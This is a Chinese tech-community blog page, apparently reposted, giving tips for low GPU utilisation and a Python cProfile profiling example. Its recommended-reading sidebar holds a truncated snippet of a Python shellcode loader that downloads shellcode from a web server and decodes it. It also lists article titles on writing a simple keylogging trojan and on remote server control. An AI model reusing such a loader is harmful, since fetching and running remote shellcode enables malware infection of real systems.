Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >GPU利用率低的解决办法

GPU利用率低的解决办法

作者头像
全栈程序员站长
发布于 2022-09-07 02:29:24
发布于 2022-09-07 02:29:24
2.8K00
代码可运行
举报
运行总次数:0
代码可运行

大家好,又见面了,我是你们的朋友全栈君。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
watch -n 0.1 -d nvidia-smi # 检查GPU利用率参数

解决办法:

1. dataloader设置参数

2.增大batchsize

3. 减少IO操作,比如tensorboard的写入和打印。

4. 换显卡

5. 性能分析

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import time
import cProfile, pstats, profile


def add(x, y):
    time.sleep(1)
    value = x + y
    return value


def sub(x, y):
    time.sleep(1.5)
    value = x - y
    return value


class TestProfile:
    def calc(self, x, y):
        time.sleep(1)
        add_result = add(x, y)
        sub_result = sub(x, y)
        print(f"{x} add {y} result is: {add_result}")
        print(f"{x} sub {y} result is: {sub_result}")


if __name__ == '__main__':
    obj = TestProfile()
    # 要分析的函数。
    # 原来调用该怎么写就写成相应的字符串形式就好了
    be_analysed_function = "obj.calc(1,2)"
    # 给此次监测命个名,随意起。
    analysed_tag_name = "test_analysed"
    # 使用c语言版的profile进行分析,好处是自身占用资源更少,对函数的耗时定位更准确
    cProfile.run(be_analysed_function, analysed_tag_name)
    # 使用python版的profile进行分析,格式都一样的。
    # profile.run(be_analysed_function, analysed_tag_name)

    # 对此次监测进行分析。
    s = pstats.Stats(analysed_tag_name)
    # 移除文件目录,减少打印输出
    # s.strip_dirs()
    # 排序。
    # "time"表示按函数总耗时排序,python3.7后可用枚举变量pstat.SortKey来取排序项
    s.sort_stats("time")
    # 打印统计结果
    # ncalls--函数被调用的次数
    # tottime--此函数在所有调用中共耗费的时间秒数(不包括其调用的子函数耗费的时间)。分析耗时主要看这个。
    # percall--此函数平均每次被调用耗时。分析耗时次要看这个
    # cumtime--执行此函数及其调用子函数所占用的时间。
    # percall--此函数平均每次调用每个子函数所用的时间。
    s.print_stats()
    # print_stats的结果并不显示谁调用的谁,比如是A调用的C还是B调用的C是不清楚的
    # 要打印出函数的调用者,可使用print_callers()
    # 结果中右边是被调用函数,左边是调用该函数的函数
    # s.print_callers()

https://blog.csdn.net/DD_PP_JJ/article/details/111829869

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/147472.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
分享两个python的demo
python加载shellcode import base64 import ctypes import urllib.request # retrieve the shellcode from our web server url = "http://localhost:8000/shellcode.bin" response = urllib.request.urlopen(url) # decode the shellcode from base64 shellcode = base64.b64
鸿鹄实验室
2021/04/15
4370
Python win32api_python api文档
本文整理汇总了Python中win32api.SetCursorPos方法的典型用法代码示例。如果您正苦于以下问题:Python win32api.SetCursorPos方法的具体用法?Python win32api.SetCursorPos怎么用?Python win32api.SetCursorPos使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在模块win32api的用法示例。
全栈程序员站长
2022/11/10
1.1K0
如何使用Python编写简易木马程序
这次我们使用Python编写一个具有键盘记录、截屏以及通信功能的简易木马。依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码。
知识与交流
2021/04/02
3.5K0
如何使用Python编写简易木马程序
Windows下木马的常用功能
《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书
中龙技术
2022/09/29
4830
Python简单实现阴阳师挂机脚本
对各个按钮等需要点击的地方进行截图,然后对整个屏幕截屏,通过模板匹配得到截图在截屏中的坐标位置,进行点击
IT运维技术圈
2022/06/26
4.1K1
Python简单实现阴阳师挂机脚本
自制截图工具V1.0
之前比较空闲,就尝试着做了个截图工具,功能还算实用。等以后有时间再研究V2.0。 这个项目都是用C语言做的,所以还算精简。 #include <windows.h> #include <stdio.h> #include "resource.h" #pragma comment(lib,"winmm.lib") HINSTANCE g_hInstance = NULL;//全局进程句柄 HWND g_hwndMain = NULL;//全局主窗口句柄 #define UM_SCREENCUT WM_U
_gongluck
2018/03/08
1.3K0
win32api显示BMP图片的最简单方案
三、补充 装载位图的方法其实很多,也不需要第三防库 1.从资源中装载,很简单: LoadBitmap(hInstance,(LPCTSTR)IDB_BITMAP1);
全栈程序员站长
2022/09/27
1K0
python怎么调用api_python win32api中文手册
#1、获得应用窗口句柄 hwnd=win32gui.FindWindow(0,“窗口名字”)
全栈程序员站长
2022/11/10
3.2K0
红队作业 | 钉钉机器人远控服务器体验
钉钉,阿里巴巴出品,专为全球企业组织打造的智能移动办公平台,含PC版,IPad和手机版。远程视频会议,消息已读未读,DING消息任务管理,让沟通更高效;移动办公考勤,签到,审批,钉闪会,钉钉文档,钉钉教育解决方案,让工作学习更简单!
Ms08067安全实验室
2022/04/06
1.6K0
红队作业 | 钉钉机器人远控服务器体验
python win32api中文手册_python 模拟鼠标和键盘输入
# FindWindow(lpClassName=None, lpWindowName=None) 窗口类名 窗口标题名
全栈程序员站长
2022/11/07
6.8K0
python win32api教程_解放双手——python win32api 入门「建议收藏」
put(str=”,flag=0):flag默认为0,则表示输入的字符串,为1:字符要表示的是快捷组合按键,快捷键要用空格分开
全栈程序员站长
2022/11/10
1.9K0
Python 模块之 Pywin32 模块入门
pywin32 包含多个子模块,每个子模块封装了特定的Windows API功能。以下是一些常用模块的介绍及其使用示例。
Lorin 洛林
2024/06/14
5900
PC桌面应用实现自动点击操作
最近在研究针对windows桌面应用程序的自动化工具,查找了网上相关资料,UI自动化工具很多,但是想同时支持windows桌面应用程序、web端以及APP段的工具少的可怜。所谓UI自动化测试,相对于手工测试而言,编写代码对固件或GUI进行功能性,流畅性及其他问题的一些测试。其实也就是模拟一个用户,对应用程序的UI进行操作,以完成特定场景的功能性集成测试。
用户6367961
2021/10/18
4.7K0
pywin32、win32api、win32gui、win32com、win32con 都是啥?「建议收藏」
pywin32、win32api、win32gui、win32com、win32con 名称非常类似,特别容易混淆,今天就用600字给大家区分一下
全栈程序员站长
2022/11/07
5.7K0
pywin32、win32api、win32gui、win32com、win32con 都是啥?「建议收藏」
【大三操作系统实验】 请求页式管理中的置换算法
(1)FIFO算法总是选择在内存驻留时间最长的一页将其淘汰。FIFO算法认为调入内存的页不再被可能性要比其他页大,因而选择最先调入内存的页换出。
用户7886150
2020/12/29
5790
dotnet 读 WPF 源代码笔记 启动欢迎界面 SplashScreen 的原理
本文是我在读 WPF 源代码做的笔记。在 WPF 中的启动界面,为了能让 WPF 的启动界面显示足够快,需要在应用的 WPF 主机还没有启动完成之前就显示出启动图,此时的启动图需要自己解析图片同时也需要自己创建显示窗口
林德熙
2020/12/22
1.1K0
python win32api sendmessage_Python win32api.SendMessage方法代码示例[通俗易懂]
# 或者: from win32api import SendMessage [as 别名]
全栈程序员站长
2022/11/07
1.5K0
Python设置显示屏分辨率
目前使用这种方式,只能设置显卡列表支持的分辨率,不支持自定义分辨率。不知道有什么更好的方式,有知道的大牛给指导下。
虫无涯
2023/01/18
1.2K0
【读书笔记】Windows程序设计5
与从BeginPaint函数返回的设备句柄不同,从GetDC返回的设备句柄中的裁剪区域是整个客户区,而不仅仅
zhang_derek
2022/12/21
2.6K0
C# Winform 窗口影像效果的实现
 public void SetBits(Bitmap bitmap)         {             if (!Image.IsCanonicalPixelFormat(bitmap.PixelFormat) || !Image.IsAlphaPixelFormat(bitmap.PixelFormat))                 throw new ApplicationException("图片必须是32位带Alhpa通道的图片。");             IntPtr oldBits = IntPtr.Zero;             IntPtr screenDC = FormStyleAPI.GetDC(IntPtr.Zero);             IntPtr hBitmap = IntPtr.Zero;             IntPtr memDc = FormStyleAPI.CreateCompatibleDC(screenDC);
Freedom123
2024/03/29
1310
相关推荐
分享两个python的demo
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验